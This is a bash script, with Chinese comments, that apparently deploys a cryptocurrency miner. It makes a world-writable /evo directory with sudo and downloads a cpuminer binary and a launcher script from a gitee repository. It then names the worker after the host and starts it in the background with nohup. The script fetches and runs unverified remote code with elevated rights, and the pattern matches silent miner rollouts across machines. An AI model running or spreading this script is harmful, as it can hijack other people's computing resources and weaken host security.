#!/bin/bash

# 创建 /evo 目录并赋予权限
sudo mkdir -p /evo
sudo chmod 777 /evo
cd /evo || exit 1

# 下载所需文件
wget -O cpuminer-avx2 https://gitee.com/dudu1luchang/dudu/raw/master/cpuminer-avx2
wget -O Environment.sh https://gitee.com/dudu1luchang/dudu/raw/master/Environment.sh

# 赋予执行权限
chmod +x cpuminer-avx2 Environment.sh

# 获取当前主机名
hostname=$(hostname)

# 替换 Environment.sh 中的 name=
sed -i "s/^name=.*/name=${hostname}/" Environment.sh

# 后台运行 Environment.sh 并输出日志
nohup ./Environment.sh > /evo/evo.log 2>&1 &
